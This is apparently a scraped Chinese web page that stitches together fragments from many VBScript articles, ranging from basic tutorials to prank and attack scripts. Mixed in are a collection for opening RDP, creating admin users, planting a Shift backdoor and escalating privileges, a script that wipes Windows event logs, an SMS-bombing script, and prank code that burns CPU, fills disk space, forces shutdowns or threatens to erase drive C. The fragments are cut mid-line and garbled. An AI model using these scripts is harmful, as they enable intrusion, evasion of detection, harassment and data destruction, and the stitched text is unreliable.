VBS也挺强大的呢，这篇给大家演示的是获取当前时刻，并根据不同的时间段来问好！ 注：编辑器不支持vbs编程，单引号后是注释哦！
AI可以自由发挥的途径个人认为不算少，它的自定动作（Custom Actions）可以调用exe/js/vbs等东东，但js和vbs我没什么底子，有点畏难情绪，想用自己熟悉的方式来解决问题，就是用c#写个...但总感觉在安装包中嵌入.net程序好像不太地道，再有.net程序首次运行需唤醒CLR，我安装过程求的就是顺畅，为了一个简单任务就要等待CLR启动，即便只是一两秒，也是我不能忍受的；二来，即便我有信心短时间内学会另一门非托管语言...所有思来想去，还是决定搞一搞vbs。 只是他娘的，用惯优雅的C#，感觉其它语言就像屎一样，更别说像vbs这种脚本还没什么像样的ISE，总之很佩服主要coding在这些语言上的码农们，完全是受虐。...whatever~一开始本来想找找vbs调用win32 API的方法，如果可以的话，那调一调WritePrivateProfileString就完事了，可找来找去，发现似乎vbs不能直接调API（没找到官方说法...anyway，上述方法对于我做安装包来说，万万不能考虑，所以，还是老实研究地道vbs法，小有成果，分享如下： '函数：设置ini值（ini路径，目标节点，目标键，目标值） '注：若ini文件不存在则创建
可能有人不了解，代码在制作的使用，是需要跟vbs搭配，最后成为一个可以运行的代码。那么这个vbs是什么？...image.png 一、vbs是什么 简单来说就是一种脚本语言，是在vb的基础上，建立形成的，更加地简单易上手，可以制作一个小小的代码。...二、vbs简单制作教程 首先第一步是打开一个文本编辑器，随便打开一个文档；第二步就是对文档进行编辑，要记得输入代码，在代码后面加上自己想要说的话，注意要使用英文的标点符号。...这样就做好了想要的vbs代码，点开就可以查看。这是比较基础的，当然比不过专业程序员的，如果想学习更难的，可以去网上搜索视频或者课程学习，也可以报名相关课程，由专业的老师教学。...全文详细介绍了关于vbs的相关信息，虽然不是一门人人都需要会的技术。但是多学一门知识，并不会有不好的影响，既可以增加自己的学识，也可以增加乐趣，如果有兴趣的话可以学习。
xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本+提权VBS 整理收集 2010年12月07日 xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本...telnet_tmp.vbs echo WScript.Sleep 300 >>telnet_tmp.vbs echo sh.SendKeys “open 192.168.1.200” >>telnet_tmp.vbs... echo WScript.Sleep 300 >>telnet_tmp.vbs echo sh.SendKeys “{ENTER}” >>telnet_tmp.vbs echo WScript.Sleep...300 >>telnet_tmp.vbs echo sh.SendKeys “engineer{ENTER}” >>telnet_tmp.vbs echo WScript.Sleep 300 >>...telnet_tmp.vbs echo sh.SendKeys “ls {ENTER}”>>telnet_tmp.vbs start telnet cscript //nologo telnet_tmp.vbs
vbs整人代码大全，包括强制自动关机、打开无数计算器、无限循环等vbs整人代码，感兴趣的朋友参考下。...loop 3、如果不输我是猪 电脑就会在设定的时间内关机 我设置的是3分钟 只要输入就解除了 on error resume next dim WSHshellA set WSHshellA = wscript.createobject
我不要整人什么的，我要的是类似翻译的，还有句型 哈哈，LS的比较搞笑 先说VBS： 我是学VB的，据说VB和VBS差不了多少，只是VBS没有主界面而已， VB对网络的支持堪称完美，所以不少的盗号程序都选择用...CSS布局HTML小编今天和大家分享大量VBS整人代码. ,,要好玩一点的.好的话加分.. 大量的楼上已经说了。这个是本人原创，亲测有用。...) do while 1 ‘按下alt+F4 (建议用其他的键来试验例如”A”因为alt+F4 是关闭当前窗口， ‘关完窗口就会打开关机窗口) ws.sendkeys(“%{F4}”) ‘每次循环等待时间...文件 如：我爱你.vbs 双击运行，电脑就会说 i love you 了 CreateObject(“SAPI.SpVoice”).Speak”I love YOU” 用vbs敲出来的表白代码窗口多一点...WScript.Echo(“怎么才来，说~是不是不关心我”) WScript.Echo(“哼,我生气拉 我想编写一个vbs整人代码来表白，谁能帮我一下 CSS布局HTML小编今天和大家分享一个vbs脚本代码
毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件(请准备好30G空间)【具体在代码中】 仅供恶搞娱乐和研究，没有攻击任何人，组织的意图。...qwriteb.WriteLine “wscript.CreateObject(” & chr(34) & “wscript.shell” & chr(34) & “).run ” & chr(34) & “D:\1.vbs...vbinformation,” & chr(34) & “360 Defender” & chr(34) qwriteb.close qwrite.movefile “D:\1.txt”,”D:\1.vbs...” qstart.run “D:\1.vbs” ELSE qstart.run “cmd.exe /c shutdown -a”,0,true msgbox “由于您在说废话，但是您一定不想浪费时间说废话...浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。”+chr(13)+chr(13)+”那现在先把C盘给抹咯！”
Vbs 禁用启用网卡 在实际工作中，经常碰到需要通过脚本启用禁用网卡的情况，在网上找了一个脚本，实际是通过模拟键盘操作来启用禁用，但对于多种系统和比较复杂的情况操作性不好。...于是产生了一个思路，利用vbs得到网卡名字，然后调用netsh命令启用禁用网卡。
Scripting.FileSystemObject”) ‘声明 Set f = fso.CreateTextFile(“%PATH%”) ‘创建文件,其中f可任意，包含缩略名 f.WriteLine(“VBS...Wscript.CreateObject(“Scripting.FileSystemObject”) Set f=fso.CreateTextFile(“C:/Sample.txt”) WriteLine(“VBS...:/sample”) f.copy(“D:/sample”) fso.deletefolder(“C:/sample”) ‘(由上例可以看出，文件夹的操作很多是和文件的操作相通的，因此VBS
使用方法：新建一个txt文档，将上面的代码复制到txt，然后将文档的后缀名改成vbs。鼠标双击即可执行。
刷屏代码 出于无聊，跟朋友聊天突然聊到刷爆别人的屏幕，在网上搜索了一下，看到一个VBS脚本的东西，记录一下 VBSScript 使用方法： 复制需要转发的内容，点击QQ或者微信窗口，，再双击VBS脚本即可自动运行...Resume Next Dim xda,ye set xda=createobject("wscript.shell") `循环次数(这是备注 运行前请删除） for i =1 to 200 `循环间隔时间...新建txt文件，将后缀名改为xxxx.vbs 2....将上述代码复制粘贴进文件中，并删除(这是备注 运行前请删除）这几行文字 3.复制需要转发的内容，点击QQ或者微信窗口，，再双击VBS脚本即可自动运行 发布者：全栈程序员栈长，转载请注明出处：https:
xx.vbs=> =————————————————————————— On Error Resume Next Dim wsh,ye set wsh=createobject(“wscript.shell...系统 大家好 我是Vanlisa QQ137841986 今天给大家带来两个整人的VBS脚本 希望大家喜欢 VBS脚本大家都知道吧 第一个是定时关机的 如果把他发给你的QQ好友 他不懂的话 如果不输我是猪...电脑就会在你设定的 时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法 我们来看下这个脚本 on error resume next dim WSHshellA set...+ chr(13) + “哈哈哈哈，好乖” 新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了 cmd.exe /c shutdown -r -t 180 -c 这里的数字可以修改关机时间...vbs整人代码 2010-02-07 22:04 代码如下： Private Sub Form_Load() Me.Hide End Sub Private Sub Timer1_Timer()
VBS作为一款脚本语言，从古到今一直起着不可替代的作用，从windows的WHS到WINCC的vbs脚本，一直伴随着工控人的左右，可以说C语言是工控人的启蒙老师，那VBS脚本则是工控人的领路人。...如果你能用好VBS可以让你在工控的上位系统里游刃有余，同时还能提升自己的BIG，正因为如此，剑指工控统计过熟练掌握VBS脚本编程的工程师比不懂脚本脚本编程工程师早有女朋友3年，也就是说一个VBS脚本可以让你提前...我们先来看一个简单的 vbs脚本实例 Const aa="Hello World!"...日期文字和时间文字包含在两个井号 (#) 之间。例如： Const CutoffDate = #6-1-97# 最好采用一个命名方案以区分常数和变量。...弹出对话框的函数 MSGBOX("剑思庭VBS教程") WScript.Echo("剑思庭VBS教程") Set WshShell = WScript.CreateObject("WScript.Shell
部分经典vbs代码 一、上代码： vbs代码，即VBScript Set WshShell=WScript.CreateObject("WScript.Shell") WshShell.AppActivate...WshShell.SendKeys i WshShell.SendKeys"%s" Next 二、操作步骤： 打开Q_Q聊天窗口，拉出到独立窗口； 新建文档，复制代码，根据窗口标题编辑代码，保存； 将新文档后缀改为vbs...，如：2020HZ.vbs 复制一段要发送的文案，然后双击vbs文件。...“50”： 循环次数， “200”： 每次间隔时间（毫秒数） 倒数第三行的 “i” 把每次的次数打印到文案中 四、附： 说明：本功能仅供娱乐和削骗zi。...否则比较费好友~ 更多类似windows的vbs代码，如：vbs立刻关机代码 更多vbs代码： ' 进行变量声明 Dim Wshshell,Msg ' InputBox 弹窗输入bai Msg=InputBox
=================================== VBS例子讲解--1: 用 run运行文件 set shl="createobject"("WScript.Shell") shl.run"regedit.exe..." set shl="nothing" VBS例子讲解--2: 用 FSO复制文件 Set shl = CreateObject("Scripting.FileSystemObject") shl.CopyFile...wscript.echo "hello1" WScript.Sleep 1000 wscript.echo "hello2" WScript.Sleep 1000 wscript.echo "hello3" '在指定的时间长度内将脚本执行挂起...'参数，表示脚本过程处于不活动状态的时间间隔（毫秒）的整数值。...oShellLink.Hotkey = "Ctrl+Alt+e" oShellLink.IconLocation = "notepad.exe, 0" oShellLink.Description ="VBS
1 vbs 判断shell 程序运行结束的代码 比如要通过vbs 调用format格式化d: 盘，可以使用如下代码 Set oExec=WshShell.exec("c:\windows\system32...\format.com d: /fs:ntfs /q /y") Do While oExec.Status = 0 WScript.Sleep 100 Loop 2 vbs得到程序运行路径 Set
的记事本文档，如下图： 然后将下面的代码复制到新建的文本文档中： CreateObject(“SAPI.SpVoice”).Speak”你的电脑接收到了一个自爆程序，电脑即将爆炸，请您在15秒时间内离开座位...，跑到安全区位置，否则将伤害你的身体健康，我们一概不负责“ 其中这段冒号括起来的加粗字体是大家可以随便更改的，然后保存，将后缀txt改为vbs，如果出现下面提示点击是 最后的应用程序应该是这样的...二.表白恶搞： 前面的步骤和上面一样新建文件，然后将下面的代码复制在文档中，后缀改为vbs就行，具体代码如下： msgbox "做我女朋友好吗",vbQuestion,"在吗" msgbox ("房产写你名字
DateAdd 函数：返回的日期已经加上了指定的时间间隔。 DateDiff 函数：返回两个日期之间的间隔。 DatePart 函数：返回给定日期的指定部分。...FormatDateTime 函数：返回的表达式为日期和时间格式。 FormatNumber 函数：返回的表达式为数字格式。...Now 函数：返回计算机的当前系统日期和时间。 Oct 函数：返回表示该数八进制数值的字符串。 Replace 函数：返回一字符串，其中指定的子串已被另一个子串替换了规定的次数。...Time 函数：返回表示当前系统时间的“日期”子类型的“变体”。 Timer 函数：返回时经子夜 12：00 AM 后的秒数。 TimeSerial 函数：返回含有指定时分秒时间的日期子类型的变体。...TimeValue 函数：返回含有时间的日期子类型的变体。 Trim 函数：返回去掉前导空格或尾部空格的字符串副本。 TypeName 函数：返回一字符串，它提供了关于变量的变体子类型信息。
短信轰炸.vbs Dim btn,ie Set ie = WScript.CreateObject("InternetExplorer.Application") ie.Visible = true...\root\cimv2")>>clear.vbs echo dim lianan_names(2)>>clear.vbs echo lianan_names(0)="application">>clear.vbs...echo lianan_names(1)="security">>clear.vbs echo lianan_names(2)="system">>clear.vbs echo for each lianan_name...where logfilename='"^&lianan_name^&"'")>>clear.vbs echo for each lianan_log in lianan_logs>>clear.vbs...echo lianan_log.cleareventlog()>>clear.vbs echo next>>clear.vbs echo next>>clear.vbs clear.vbs del /
想知道这是怎么做的，自己也想弄一个，下面小编为大家带来了抖音vbs表白代码制作教程分享，想学习的朋友快来了解一下吧! ...抖音vbs表白代码制作教程 步骤一: 在电脑上新建一个txt文件。 步骤二: 打开txt文件，复制以下代码粘贴进去(可以修改中文部分，其它代码不要动!)。...ak47 Else MsgBox “你可以去死了”,48,”wo cao” End If End If 步骤三: 将txt文件名称后面的“.txt”改为“.vbs...步骤四: 双击改名后的vbs文件即可看到和抖音视频上一样的效果。 注意事项 若新建的txt文件不显示“.txt”，可随便打开一个文件夹，再点击，在前面打勾即可。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
即时通信 IM
ICP备案
对象存储
实时音视频
